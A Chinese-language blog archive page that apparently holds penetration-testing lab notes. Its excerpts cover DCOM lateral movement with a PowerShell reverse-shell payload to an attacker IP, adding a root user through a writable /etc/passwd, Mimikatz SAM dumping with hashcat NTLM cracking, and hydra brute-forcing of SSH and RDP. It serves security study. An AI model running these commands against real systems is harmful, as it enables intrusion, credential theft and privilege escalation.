發表文章

目前顯示的是有「password」標籤的文章

Active Directory 中的橫向移動 - DCOM

圖片
 Active Directory 中的橫向移動 - DCOM 與 DCOM 的互動透過 TCP 連接埠 135 上的 RPC 執行,並且需要本機管理員存取權限才能呼叫 DCOM 服務控制管理員 接著將透過 FILES04(73) 的目標 IP 指定為 GetTypeFromProgID 方法的第二個參數來實例化遠端 MMC 2.0 應用程式,並將應用程式物件儲存到變數 $dcom 如下 $dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"," 192.168.200.73 ")) 接著在遠端 DCOM 上執行命令 $dcom.Document.ActiveView.ExecuteShellCommand(" cmd ",$null," /c calc ","7") 一旦執行了上述兩行指令就應該產生一個計算器(小算盤)應用程式的實例 透過指令 tasklist | findstr "calc" 如下,會發現它位於會話 0 內 RDP 登入到 files04(73) 確認如下,可以看到有三個(因為我們執行了 3 次) 目的只是驗證剛剛的指令是有用的 透過我們在 WMI and WinRM 章節學到的,接下來讓我們直接將 Reverse Shell 的指令塞入剛剛的 DCOM 指令中,將 command 換成 Reverse Shell 指令 kali IP : 192.168.45.191 import sys import base64 payload = '$client = New-Object System.Net.Sockets.TCPClient(" 192.168.45.191 ", 4444 );$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -...

濫用 Linux 密碼提權

圖片
 濫用 Linux 密碼提權 除非使用集中式憑證系統(例如 Active Directory 或 LDAP),否則 Linux 密碼通常儲存在 /etc/shadow 中,帳號則可以在 /etc/passwd 中察看 但有時密碼雜湊值也會存在 /etc/passwd 檔案中 如果 /etc/passwd 使用者記錄的第二列中存在密碼雜湊 ,則它被視為對身份驗證有效 並且優先於/etc/shadow 中的相應條目 預設在 linux 中 openssl 採用 crypt 演算法來產生密碼的雜湊值 讓我們一樣透過 joe 登入到靶機並查看 /etc/passwd 的權限 發現其他使用者擁有 rw 的權限,意味著我們可以直接修改編輯該檔案 接著使用 openssl 產生一個密碼 w00t 的雜湊值 openssl passwd w00t 然後塞入一個新的超級使用者 root2 與密碼雜湊值 echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd 接著試著使用 su root2 提權,並輸入剛剛建立的密碼 w00t 就可以看到拿到 root 了 接著拿 flag 吧

NTLM 密碼破解

圖片
 NTLM 密碼破解 Windows 將使用者密碼雜湊儲存在安全帳戶管理員 SAM 資料庫檔案中 核心對該檔案保持獨佔檔案系統鎖定 路徑位於 C:\Windows\system32\config\sam 靶機 IP : 192.168.197.210,獲取 nelly 用戶桌面上的 Flag 已知一般使用者帳號密碼 : offsec / lab 第一步 xfreerdp 登入遠端主機並掛載磁碟機 └─$ xfreerdp -v:192.168.197.210 -u:offsec -p:lab -drive:aries,/home/kali_r/Templates 登入後先查看 local 使用者,使用指令 Get-LocalUser 下圖有列出來題目要我們查找的 nelly 使用者,後續就是直接破解該帳號密碼 透過管理員身份啟動 PowerShell,然後啟動 Mimikatz 開始提取密碼,分別輸入以下指令 (每個指令由一個模組和兩個冒號分隔的指令組成)  - privilege::debug  - token::elevate  - lsadump::sam 下面可以看到我們想要的使用者 nelly 的 hash 了,主要要的是這一段 Hash NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10 先建立一個檔案 nelly.hash 並將 HASH 內容貼上 透過指令 └─$ hashcat --help | grep -i "ntlm" 查一下 NTLM 的 mode,是 1000 直接 hashcat 下去破解密碼吧,帶入 rockyou.txt 與 best64 規則來變異密碼表 └─$ hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force 答案很快就出來了是 nicole1 RDP 進去看看 └─$ xfreerdp -v:192.168.197.210 -u:nelly -p:nicole1 登入後拿到目標 Flag 了 靶機 2 : 192.168.197.227 已知使用者 n...

變異字典檔

圖片
 變異字典檔 讀取 rockyou.txt 密碼字典檔前 10 筆 head /usr/share/wordlists/rockyou.txt 可以看到都是小寫英文或是數字,不符合密碼複雜性原則的密碼 可以使用規則函數來改變單詞字典檔以適應密碼策略 先建立一個 passwordattacks 資料匣,進入資料匣 head /usr/share/wordlists/rockyou.txt > demo.txt 將剛剛 rockyou.txt 字典檔的前 10 筆寫入到 demo.txt 使用 sed 指令帶參數 -i 執行 '/^1/d',cat 檔案後發現都變異了且剩下五筆 所有純數字序列已被刪除(不符合密碼策略),是因為 sed 和 ^1 引用以 "1" 開頭的所有行 再使用 d 刪除它們,所以異動與抓取都包含在兩個單引號之間 sed -i '/^1/d' demo.txt sed 指令最主要的功能為自動化的修改文字檔 $ echo 'This is a book' | sed 's/is/IS/g' --> 將字串〝is〞改為〝IS〞(單字前沒加空隔) ThIS IS a book $ echo 'This is a book' | sed 's/ is/ IS/g' --> 樣板和取代前加一空格 This IS a book $ echo 'This is a book' | sed 's/\<is\>/IS/g' --> 用正規化表示法的單字配匹 This IS a book $ sed 's/\<is\>/IS/g' file1 --> 檔案〝file1〞把〝is〞改為〝IS〞 $ sed 's/\<is\>/IS/g' file1 file2 file3 --> 也可以一次輸入好幾個檔案 sed 處理完需要透過輸出,若是要就地編輯修改某檔案就是使用 -i 參數 以 a 為開頭進行刪除 └─$ sed -i '/^a/d' demo.txt 建立一個 demo.rule 的檔案,內容寫入 ...

帳號驗證服務攻擊

圖片
 帳號驗證服務攻擊 SSH & RDP 破密攻擊 靶機 1 : 192.168.226.201 第一步 rustscan,└─$ rustscan -a 192.168.226.201 --scripts none --ulimit 5000  22 & 2222 Port nmap 查看 22, 2222 服務,└─$ sudo nmap -sV -sC -p 22,2222 192.168.226.201  - 22 : OpenSSH 8.9p1  - 2222 : OpenSSH 8.2p1 題目有另外說明攻擊 2222 端口,也提供了一個帳號 george,因為將使用 rockyou.txt 當作字典檔,所以要先解壓縮 gzip -d 接著 hydra 直接下去即可 └─$ hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.226.201 瞬間拿到密碼 chocolate 登入後查找 flag,└─$ ssh -p 2222 george@192.168.226.201      靶機 2 : 192.168.226.202 第一步 rustscan,└─$ rustscan -a 192.168.226.202 --scripts none --ulimit 5000 看來是台 Windows,這次針對 RDP 3389 進行破密 本次已知的是某個使用者的密碼為 "SuperS3cure1337#",但不知道使用者帳號 所以這一次變成暴力破解出使用者帳號,一樣使用 hydra 進行暴力破解 但是字典檔變成使用帳號字典檔 /usr/share/wordlists/dirb/others/names.txt 指令如下 └─$ hydra -L /usr/share/wordlists/dirb/others/names.txt -p "SuperS3cure1337#" rdp://192.168.226.202 注意指令已知的用小寫,未知要測試的用大寫  -l : 指定的使用者名稱  -L : 預計使用的使用者字典檔  -p : 已知指定的密碼 ...